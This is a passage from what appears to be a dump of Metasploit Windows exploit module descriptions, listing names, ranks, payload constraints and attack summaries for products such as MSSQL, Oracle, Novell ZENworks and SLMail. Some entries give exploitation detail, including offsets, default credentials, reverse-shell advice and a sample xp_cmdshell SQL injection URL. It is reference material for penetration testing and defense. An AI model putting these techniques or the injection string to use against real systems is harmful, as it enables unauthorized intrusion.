over the internet.

End Exploit Number 2283

Begin Exploit Number 2284
       Name: Serve DLL via webdav server
     Module: exploit/windows/misc/webdav_delivery
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 1999-01-01

Payload information:

Description:
  This module simplifies the rundll32.exe Application Whitelisting
Bypass technique.
  The module creates a webdav server that hosts a dll file. When the
user types the provided rundll32
  command on a system, rundll32 will load the dll remotly and execute
the provided export function.
  The export function needs to be valid, but the default meterpreter
function can be anything.
```

```
  The process does write the dll to C:
\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_
DAV
  but does not load the dll from that location. This file should be
removed after execution.
  The extension can be anything you'd like, but you don't have to use
one. Two files will be
  written to disk. One named the requested name and one with a dll
extension attached.


End Exploit Number 2284

Begin Exploit Number 2285
       Name: Wifi Mouse RCE
     Module: exploit/windows/misc/wifi_mouse_rce
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-02-25

Payload information:
  Avoid: 2 characters

Description:
  The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass
as the
  authentication is completely implemented entirely on the client
side. By utilizing
  this vulnerability, is possible to open a program on the server
  (cmd.exe in our case) and type commands that will be executed as the
user running
  WiFi Mouse (Mouse Server), resulting in remote code execution.

  Tested against versions 1.8.3.4 (current as of module writing) and
  1.8.2.3.

End Exploit Number 2285

Begin Exploit Number 2286
       Name: Windows RSH Daemon Buffer Overflow
     Module: exploit/windows/misc/windows_rsh
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2007-07-24
```

```
Payload information:
  Space: 850
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Windows RSH daemon 1.8.
  The vulnerability is due to a failure to check for the length of
input sent
  to the RSH server. A CPORT of 512 -> 1023 must be configured for the
exploit
  to be successful.

End Exploit Number 2286

Begin Exploit Number 2287
       Name: Wireshark console.lua Pre-Loading Script Execution
     Module: exploit/windows/misc/wireshark_lua
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-18

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Wireshark 1.6 or less. When
opening a
  pcap file, Wireshark will actually check if there's a 'console.lua'
file in the same
  directory, and then parse/execute the script if found.  Versions
affected by this
  vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8

End Exploit Number 2287

Begin Exploit Number 2288
       Name: Wireshark packet-dect.c Stack Buffer Overflow
     Module: exploit/windows/misc/wireshark_packet_dect
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-04-18

Payload information:
  Space: 936

Description:
  This module exploits a stack buffer overflow in Wireshark <= 1.4.4
  by sending a malicious packet.

End Exploit Number 2288

Begin Exploit Number 2289
       Name: Windows Media Services ConnectFunnel Stack Buffer
Overflow
     Module: exploit/windows/mmsp/ms10_025_wmss_connect_funnel
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-04-13

Payload information:
  Space: 600
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in the Windows Media
  Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a
specially
  crafted FunnelConnect request, an attacker can execute arbitrary
code
  under the "NetShowServices" user account. Windows Media Services 4.1
ships
  with Windows 2000 Server, but is not installed by default.

  NOTE: This service does NOT restart automatically. Successful, as
well as
  unsuccessful exploitation attempts will kill the service which
prevents
  additional attempts.

End Exploit Number 2289

Begin Exploit Number 2290
       Name: Timbuktu Pro Directory Traversal/File Upload
     Module: exploit/windows/motorola/timbuktu_fileupload
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-05-10
```

```
Payload information:
  Space: 2048

Description:
  This module exploits a directory traversal vulnerability in
Motorola's
  Timbuktu Pro for Windows 8.6.5.

End Exploit Number 2290

Begin Exploit Number 2291
       Name: Lyris ListManager MSDE Weak sa Password
     Module: exploit/windows/mssql/lyris_listmanager_weak_pass
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2005-12-08

Payload information:

Description:
  This module exploits a weak password vulnerability in the
  Lyris ListManager MSDE install. During installation, the 'sa'
  account password is set to 'lminstall'. Once the install
  completes, it is set to 'lyris' followed by the process
  ID of the installer. This module brute forces all possible
  process IDs that would be used by the installer.

End Exploit Number 2291

Begin Exploit Number 2292
       Name: MS02-039 Microsoft SQL Server Resolution Overflow
     Module: exploit/windows/mssql/ms02_039_slammer
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2002-07-24

Payload information:
  Space: 512
  Avoid: 6 characters

Description:
  This is an exploit for the SQL Server 2000 resolution
  service buffer overflow. This overflow is triggered by
  sending a udp packet to port 1434 which starts with 0x04 and
  is followed by long string terminating with a colon and a
  number. This module should work against any vulnerable SQL
  Server 2000 or MSDE install (pre-SP3).

End Exploit Number 2292

Begin Exploit Number 2293
       Name: MS02-056 Microsoft SQL Server Hello Overflow
     Module: exploit/windows/mssql/ms02_056_hello
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2002-08-05

Payload information:
  Space: 512
  Avoid: 1 characters

Description:
  By sending malformed data to TCP port 1433, an
  unauthenticated remote attacker could overflow a buffer and
  possibly execute code on the server with SYSTEM level
  privileges. This module should work against any vulnerable
  SQL Server 2000 or MSDE install (< SP3).

End Exploit Number 2293

Begin Exploit Number 2294
       Name: MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory
Corruption
     Module: exploit/windows/mssql/ms09_004_sp_replwritetovarbin
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-12-09

Payload information:
  Space: 512
  Avoid: 0 characters

Description:
  A heap-based buffer overflow can occur when calling the undocumented
  "sp_replwritetovarbin" extended stored procedure. This vulnerability
affects
  all versions of Microsoft SQL Server 2000 and 2005, Windows Internal
```

Database, and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004. Microsoft patched this vulnerability in SP3 for 2005 without any public mention.

An authenticated database session is required to access the vulnerable code. That said, it is possible to access the vulnerable code via an SQL injection vulnerability.

This exploit smashes several pointers, as shown below.

1. pointer to a 32-bit value that is set to 0
2. pointer to a 32-bit value that is set to a length influenced by the buffer length.
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000, this value is referenced with a displacement of 0x38. For MSSQL 2005, the displacement is 0x10. The address of our buffer is conveniently stored in ecx when this instruction is executed.
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with a displacement of 4. This pointer is not used by this exploit.

This particular exploit replaces the previous dual-method exploit. It uses a technique where the value contained in ecx becomes the stack. From there, return oriented programming is used to normalize the execution state and finally execute the payload via a "jmp esp". All addresses used were found within the sqlservr.exe memory space, yielding very reliable code execution using only a single query.

NOTE: The MSSQL server service does not automatically restart by default. That said, some exceptions are caught and will not result in terminating the process. If the exploit crashes the service prior to hijacking the stack, it won't die. Otherwise, it's a goner.

```
End Exploit Number 2294

Begin Exploit Number 2295
       Name: MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory
Corruption via SQL Injection
     Module: exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-12-09

Payload information:
  Space: 512
  Avoid: 0 characters

Description:
  A heap-based buffer overflow can occur when calling the undocumented
  "sp_replwritetovarbin" extended stored procedure. This vulnerability
affects
  all versions of Microsoft SQL Server 2000 and 2005, Windows Internal
Database,
  and Microsoft Desktop Engine (MSDE) without the updates supplied in
MS09-004.
  Microsoft patched this vulnerability in SP3 for 2005 without any
public
  mention.

  This exploit smashes several pointers, as shown below.

  1. pointer to a 32-bit value that is set to 0
  2. pointer to a 32-bit value that is set to a length influenced by
the buffer
    length.
  3. pointer to a 32-bit value that is used as a vtable pointer. In
MSSQL 2000,
    this value is referenced with a displacement of 0x38. For MSSQL
2005, the
    displacement is 0x10. The address of our buffer is conveniently
stored in
    ecx when this instruction is executed.
  4. On MSSQL 2005, an additional vtable ptr is smashed, which is
referenced with
    a displacement of 4. This pointer is not used by this exploit.

  This particular exploit replaces the previous dual-method exploit.
It uses
  a technique where the value contained in ecx becomes the stack. From
there,
  return oriented programming is used to normalize the execution state
and
  finally execute the payload via a "jmp esp". All addresses used were
found
  within the sqlservr.exe memory space, yielding very reliable code
execution
  using only a single query.

  NOTE: The MSSQL server service does not automatically restart by
default. That
  said, some exceptions are caught and will not result in terminating
the process.
  If the exploit crashes the service prior to hijacking the stack, it
won't die.
  Otherwise, it's a goner.

End Exploit Number 2295

Begin Exploit Number 2296
       Name: Microsoft SQL Server Clr Stored Procedure Payload
Execution
     Module: exploit/windows/mssql/mssql_clr_payload
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-01-01

Payload information:

Description:
  This module executes an arbitrary native payload on a Microsoft SQL
  server by loading a custom SQL CLR Assembly into the target SQL
  installation, and calling it directly with a base64-encoded payload.

  The module requires working credentials in order to connect directly
to the
  MSSQL Server.

  This method requires the user to have sufficient privileges to
install a custom
  SQL CRL DLL, and invoke the custom stored procedure that comes with
it.

  This exploit does not leave any binaries on disk.

  Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).

End Exploit Number 2296
```

```
Begin Exploit Number 2297
       Name: Microsoft SQL Server Database Link Crawling Command
Execution
     Module: exploit/windows/mssql/mssql_linkcrawler
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2000-01-01

Payload information:

Description:
  This module can be used to crawl MS SQL Server database links and
deploy
  Metasploit payloads through links configured with sysadmin
privileges using a
  valid SQL Server Login.

    If you are attempting to obtain multiple reverse shells using this
module we
  recommend setting the "DisablePayloadHandler" advanced option to
"true", and setting
  up a exploit/multi/handler to run in the background as a job to
support multiple incoming
  shells.

    If you are interested in deploying payloads to specific servers
this module also
  supports that functionality via the "DEPLOYLIST" option.

    Currently, the module is capable of delivering payloads to both
32bit and 64bit
  Windows systems via powershell memory injection methods based on
Matthew Graeber's
  work. As a result, the target server must have powershell installed.
By default,
  all of the crawl information is saved to a CSV formatted log file
and MSF loot so
  that the tool can also be used for auditing without deploying
payloads.

End Exploit Number 2297

Begin Exploit Number 2298
       Name: Microsoft SQL Server Payload Execution
     Module: exploit/windows/mssql/mssql_payload
   Platform: Windows
```

```
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2000-05-30

Payload information:

Description:
  This module executes an arbitrary payload on a Microsoft SQL Server
by using
  the "xp_cmdshell" stored procedure. Currently, three delivery
methods are supported.

  First, the original method uses Windows 'debug.com'. File size
restrictions are
  avoided by incorporating the debug bypass method presented by
SecureStat at
  Defcon 17. Since this method invokes ntvdm, it is not available on
x64 systems.

  A second method takes advantage of the Command Stager subsystem.
This allows using
  various techniques, such as using a TFTP server, to send the
executable. By default
  the Command Stager uses 'wcsript.exe' to generate the executable on
the target.

  Finally, ReL1K's latest method utilizes PowerShell to transmit and
recreate the
  payload on the target.

  NOTE: This module will leave a payload executable on the target
system when the
  attack is finished.

End Exploit Number 2298

Begin Exploit Number 2299
       Name: Microsoft SQL Server Payload Execution via SQL Injection
     Module: exploit/windows/mssql/mssql_payload_sqli
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2000-05-30

Payload information:
  Avoid: 27 characters
```

```
Description:
  This module will execute an arbitrary payload on a Microsoft SQL
  Server, using a SQL injection vulnerability.

  Once a vulnerability is identified this module
  will use xp_cmdshell to upload and execute Metasploit payloads.
  It is necessary to specify the exact point where the SQL injection
  vulnerability happens. For example, given the following injection:

  http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--
&cat=electrical

  you would need to set the following path:
  set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar

  In regard to the payload, unless there is a closed port in the web
server,
  you dont want to use any "bind" payload, specially on port 80, as
you will
  stop reaching the vulnerable web server host. You want a "reverse"
payload, probably to
  your port 80 or to any other outbound port allowed on the firewall.
  For privileged ports execute Metasploit msfconsole as root.

  Currently, three delivery methods are supported.

  First, the original method uses Windows 'debug.com'. File size
restrictions are
  avoided by incorporating the debug bypass method presented by
SecureStat at
  Defcon 17. Since this method invokes ntvdm, it is not available on
x64 systems.

  A second method takes advantage of the Command Stager subsystem.
This allows using
  various techniques, such as using a TFTP server, to send the
executable. By default
  the Command Stager uses 'wcsript.exe' to generate the executable on
the target.

  Finally, ReL1K's latest method utilizes PowerShell to transmit and
recreate the
  payload on the target.

  NOTE: This module will leave a payload executable on the target
system when the
  attack is finished.

End Exploit Number 2299
```

```
Begin Exploit Number 2300
       Name: Oracle MySQL for Microsoft Windows MOF Execution
     Module: exploit/windows/mysql/mysql_mof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-01

Payload information:

Description:
  This module takes advantage of a file privilege misconfiguration
problem
  specifically against Windows MySQL servers (due to the use of a .mof
file).
  This may result in arbitrary code execution under the context of
SYSTEM.
  This module requires a valid MySQL account on the target machine.

End Exploit Number 2300

Begin Exploit Number 2301
       Name: Oracle MySQL for Microsoft Windows FILE Privilege Abuse
     Module: exploit/windows/mysql/mysql_start_up
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-12-01

Payload information:

Description:
  This module takes advantage of a file privilege misconfiguration
problem
  specifically against Windows MySQL servers. This module abuses the
FILE
  privilege to write a payload to Microsoft's All Users Start Up
directory
  which will execute every time a user logs in. The default All Users
Start
  Up directory used by the module is present on Windows 7.

End Exploit Number 2301

Begin Exploit Number 2302
```

```
       Name: MySQL yaSSL SSL Hello Message Buffer Overflow
     Module: exploit/windows/mysql/mysql_yassl_hello
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-01-04

Payload information:
  Space: 600
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in the yaSSL (1.7.5 and 
earlier)
  implementation bundled with MySQL <= 6.0. By sending a specially 
crafted
  Hello packet, an attacker may be able to execute arbitrary code.

End Exploit Number 2302

Begin Exploit Number 2303
       Name: Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default 
MySQL Credential
     Module: exploit/windows/mysql/scrutinizer_upload_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-27

Payload information:
  Avoid: 1 characters

Description:
  This exploits an insecure config found in Scrutinizer NetFlow & 
sFlow Analyzer.
  By default, the software installs a default password in MySQL, and 
binds the
  service to "0.0.0.0".  This allows any remote user to login to 
MySQL, and then
  gain arbitrary remote code execution under the context of 'SYSTEM'. 
Examples
  of default credentials include: 'scrutinizer:admin', and 
'scrutremote:admin'.

End Exploit Number 2303
```

```
Begin Exploit Number 2304
       Name: Omni-NFS Server Buffer Overflow
     Module: exploit/windows/nfs/xlink_nfsd
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-11-06

Payload information:
  Space: 336
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in Xlink Omni-NFS 
Server 5.2
  When sending a specially crafted nfs packet, an attacker may be able
  to execute arbitrary code.

End Exploit Number 2304

Begin Exploit Number 2305
       Name: CA Unified Infrastructure Management Nimsoft 7.80 - 
Remote Buffer Overflow
     Module: exploit/windows/nimsoft/nimcontroller_bof
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-05

Payload information:
  Space: 2000

Description:
  This module exploits a buffer overflow within the CA Unified 
Infrastructure Management nimcontroller.
  The vulnerability occurs in the robot (controller) component when 
sending a specially crafted directory_list
  probe.

  Technically speaking the target host must also be vulnerable to 
CVE-2020-8010 in order to reach the
  directory_list probe.

End Exploit Number 2305

Begin Exploit Number 2306
```

```
       Name: MS05-030 Microsoft Outlook Express NNTP Response Parsing
Buffer Overflow
     Module: exploit/windows/nntp/ms05_030_nntp
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2005-06-14

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the news reader of
Microsoft
  Outlook Express.

End Exploit Number 2306

Begin Exploit Number 2307
       Name: NFR Agent FSFUI Record File Upload RCE
     Module: exploit/windows/novell/file_reporter_fsfui_upload
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-11-16

Payload information:
  Space: 2048

Description:
  NFRAgent.exe, a component of Novell File Reporter (NFR), allows
remote attackers to upload
  arbitrary files via a directory traversal while handling requests
to /FSF/CMD with
  FSFUI records with UICMD 130. This module has been tested
successfully against NFR
  Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File
Reporter 1.0.1).

End Exploit Number 2307

Begin Exploit Number 2308
       Name: Novell GroupWise Messenger Client Buffer Overflow
     Module: exploit/windows/novell/groupwisemessenger_client
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-07-02

Payload information:
  Space: 750
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in Novell's GroupWise 
Messenger Client.
  By sending a specially crafted HTTP response, an attacker may be 
able to execute
  arbitrary code.

End Exploit Number 2308

Begin Exploit Number 2309
       Name: NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() 
Remote Perl Code Execution
     Module: exploit/windows/novell/netiq_pum_eval
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-11-15

Payload information:
  Space: 2048

Description:
  This module abuses a lack of authorization in the NetIQ Privileged 
User Manager
  service (unifid.exe) to execute arbitrary perl code. The problem 
exists in the
  ldapagnt module. The module has been tested successfully on NetIQ 
PUM 2.3.1 over
  Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM 
privileges.

End Exploit Number 2309

Begin Exploit Number 2310
       Name: Novell NetMail NMAP STOR Buffer Overflow
     Module: exploit/windows/novell/nmap_stor
   Platform: Windows
       Arch: 
```

```
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-12-23

Payload information:
  Space: 500
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Novell's Netmail 
3.52 NMAP STOR
  verb. By sending an overly long string, an attacker can overwrite 
the
  buffer and control program execution.

End Exploit Number 2310

Begin Exploit Number 2311
       Name: Novell ZENworks 6.5 Desktop/Server Management Overflow
     Module: exploit/windows/novell/zenworks_desktop_agent
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: BSD License
       Rank: Good
  Disclosed: 2005-05-19

Payload information:
  Space: 32767
  Avoid: 1 characters

Description:
  This module exploits a heap overflow in the Novell ZENworks
  Desktop Management agent. This vulnerability was discovered
  by Alex Wheeler.

End Exploit Number 2311

Begin Exploit Number 2312
       Name: Novell ZENworks Configuration Management Preboot Service 
0x21 Buffer Overflow
     Module: exploit/windows/novell/zenworks_preboot_op21_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-03-30
```

```
Payload information:
  Space: 8138
  Avoid: 0 characters

Description:
  This module exploits a remote buffer overflow in the ZENworks 
Configuration
  Management 10 SP2. The vulnerability exists in the Preboot service 
and can be
  triggered by sending a specially crafted packet with the opcode 0x21
  (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been 
successfully tested on
  Novell ZENworks Configuration Management 10 SP2 and Windows Server 
2003 SP2
  (DEP bypass).

End Exploit Number 2312

Begin Exploit Number 2313
       Name: Novell ZENworks Configuration Management Preboot Service 
0x4c Buffer Overflow
     Module: exploit/windows/novell/zenworks_preboot_op4c_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-22

Payload information:
  Space: 994
  Avoid: 1 characters

Description:
  This module exploits a remote buffer overflow in the ZENworks 
Configuration
  Management. The vulnerability exists in the Preboot service and can 
be triggered
  by sending a specially crafted packet with the opcode 0x4c
  (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been 
successfully
  tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and 
Windows Server
  2003 SP2 (DEP bypass).

End Exploit Number 2313

Begin Exploit Number 2314
       Name: Novell ZENworks Configuration Management Preboot Service 
0x06 Buffer Overflow
```

```
     Module: exploit/windows/novell/zenworks_preboot_op6_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-03-30

Payload information:
  Space: 954
  Avoid: 0 characters

Description:
  This module exploits a remote buffer overflow in the ZENworks 
Configuration
  Management 10 SP2. The vulnerability exists in the Preboot service 
and can be
  triggered by sending a specially crafted packet with the opcode 0x06
  (PROXY_CMD_CLEAR_WS) to the 998/TCP port. The module has been 
successfully tested
  on Novell ZENworks Configuration Management 10 SP2 and Windows 
Server 2003 SP2
  (DEP bypass).

End Exploit Number 2314

Begin Exploit Number 2315
       Name: Novell ZENworks Configuration Management Preboot Service 
0x6c Buffer Overflow
     Module: exploit/windows/novell/zenworks_preboot_op6c_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-22

Payload information:
  Space: 990
  Avoid: 1 characters

Description:
  This module exploits a remote buffer overflow in the ZENworks 
Configuration
  Management. The vulnerability exists in the Preboot service and can 
be triggered by
  sending a specially crafted packet with the opcode 0x6c 
(PROXY_CMD_GET_NEXT_STEP)
  to port 998/TCP. The module has been successfully tested on Novell 
ZENworks
```

```
  Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2
(DEP bypass).

End Exploit Number 2315

Begin Exploit Number 2316
       Name: Nuuo Central Management Server Authenticated Arbitrary
File Upload
     Module: exploit/windows/nuuo/nuuo_cms_fu
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-10-11

Payload information:

Description:
  The COMMITCONFIG verb is used by a CMS client to upload and modify
the configuration of the
  CMS Server.
  The vulnerability is in the "FileName" parameter, which accepts
directory traversal (..\..\)
  characters. Therefore, this function can be abused to overwrite any
files in the installation
  drive of CMS Server.

  This vulnerability is exploitable in CMS versions up to and
including v2.4.

  This module will either use a provided session number (which can be
guessed with an auxiliary
  module) or attempt to login using a provided username and password -
it will also try the
  default credentials if nothing is provided.

  This module will overwrite the LicenseTool.dll file in the CMS
Server installation. If the module
  fails to restore LicenseTool.dll then the installation will be
corrupted and NCS Server will
  not execute successfully.

End Exploit Number 2316

Begin Exploit Number 2317
       Name: Nuuo Central Management Authenticated SQL Server SQLi
     Module: exploit/windows/nuuo/nuuo_cms_sqli
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-10-11

Payload information:

Description:
  The Nuuo Central Management Server allows an authenticated user to
query the state of the alarms.
  This functionality can be abused to inject SQL into the query. As
SQL Server 2005 Express is
  installed by default, xp_cmdshell can be enabled and abused to
achieve code execution.
  This module will either use a provided session number (which can be
guessed with an auxiliary
  module) or attempt to login using a provided username and password -
it will also try the
  default credentials if nothing is provided.

End Exploit Number 2317

Begin Exploit Number 2318
       Name: Oracle Database Client System Analyzer Arbitrary File
Upload
     Module: exploit/windows/oracle/client_system_analyzer_upload
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-01-18

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability on the
Client
  Analyzer component as included in Oracle Database 11g, which allows
remote
  attackers to upload and execute arbitrary code. This module has been
tested
  successfully on Oracle Database 11g 11.2.0.1.0 on Windows 2003 SP2,
where execution
  through the Windows Management Instrumentation service has been
used.

End Exploit Number 2318

Begin Exploit Number 2319
```

```
       Name: Oracle Job Scheduler Named Pipe Command Execution
     Module: exploit/windows/oracle/extjob
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-01-01

Payload information:
  Space: 2048

Description:
  This module exploits the Oracle Job Scheduler to execute arbitrary 
commands. The Job
  Scheduler is implemented via the component extjob.exe which listens 
on a named pipe
  called "orcljsex<SID>" and execute arbitrary commands received over 
this channel via
  CreateProcess(). In order to connect to the Named Pipe remotely, SMB 
access is required.
  Note that the Job Scheduler is disabled in default installations.

End Exploit Number 2319

Begin Exploit Number 2320
       Name: Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer 
Overflow
     Module: exploit/windows/oracle/osb_ndmp_auth
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-01-14

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  The module exploits a stack buffer overflow in Oracle Secure Backup.
  When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,
  an attacker may be able to execute arbitrary code.

End Exploit Number 2320

Begin Exploit Number 2321
       Name: Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow
     Module: exploit/windows/oracle/tns_arguments
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2001-06-28

Payload information:
  Space: 600
  Avoid: 30 characters

Description:
  This module exploits a stack buffer overflow in Oracle 8i. When
  sending a specially crafted packet containing an overly long
  ARGUMENTS string to the TNS service, an attacker may be able
  to execute arbitrary code.

End Exploit Number 2321

Begin Exploit Number 2322
       Name: Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow
     Module: exploit/windows/oracle/tns_auth_sesskey
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-10-20

Payload information:
  Space: 382
  Avoid: 0 characters

Description:
  This module exploits a stack buffer overflow in Oracle. When
  sending a specially crafted packet containing a long AUTH_SESSKEY
value
  to the TNS service, an attacker may be able to execute arbitrary
code.

End Exploit Number 2322

Begin Exploit Number 2323
       Name: Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow
     Module: exploit/windows/oracle/tns_service_name
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2002-05-27

Payload information:
  Space: 600
  Avoid: 30 characters

Description:
  This module exploits a stack buffer overflow in Oracle. When
  sending a specially crafted packet containing a long SERVICE_NAME
  to the TNS service, an attacker may be able to execute arbitrary
code.

End Exploit Number 2323

Begin Exploit Number 2324
       Name: Seattle Lab Mail 5.5 POP3 Buffer Overflow
     Module: exploit/windows/pop3/seattlelab_pass
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-05-07

Payload information:
  Space: 600
  Avoid: 4 characters

Description:
  There exists an unauthenticated buffer overflow vulnerability
  in the POP3 server of Seattle Lab Mail 5.5 when sending a password
  with excessive length.

  Successful exploitation should not crash either the
  service or the server; however, after initial use the
  port cannot be reused for successive exploitation until
  the service has been restarted. Consider using a command
  execution payload following the bind shell to restart
  the service if you need to reuse the same port.

  The overflow appears to occur in the debugging/error reporting
  section of the slmail.exe executable, and there are multiple
  offsets that will lead to successful exploitation. This exploit
  uses 2606, the offset that creates the smallest overall payload.
  The other offset is 4654.

  The return address is overwritten with a "jmp esp" call from the
  application library SLMFC.DLL found in %SYSTEM%\system32\. This
  return address works against all version of Windows and service
packs.
```

```
  The last modification date on the library is dated 06/02/99.
Assuming
  that the code where the overflow occurs has not changed in some
time,
  prior version of SLMail may also be vulnerable with this exploit.
The
  author has not been able to acquire older versions of SLMail for
  testing purposes. Please let us know if you were able to get this
  exploit working against other SLMail versions.

End Exploit Number 2324

Begin Exploit Number 2325
       Name: PostgreSQL for Microsoft Windows Payload Execution
     Module: exploit/windows/postgres/postgres_payload
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-04-10

Payload information:

Description:
  On default Microsoft Windows installations of PostgreSQL the
postgres
  service account may write to the current directory (which is usually
  "C:\Program Files\PostgreSQL\<version>\data" where <version> is the
  major.minor version of PostgreSQL). UDF DLL's may be sourced from
  there as well.

  This module uploads a Windows DLL file via the pg_largeobject method
  of binary injection and creates a UDF (user defined function) from
  that DLL. Because the payload is run from DllMain, it does not need
to
  conform to specific Postgres API versions.

End Exploit Number 2325

Begin Exploit Number 2326
       Name: Blue Coat WinProxy Host Header Overflow
     Module: exploit/windows/proxy/bluecoat_winproxy_host
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-01-05
```

```
Payload information:
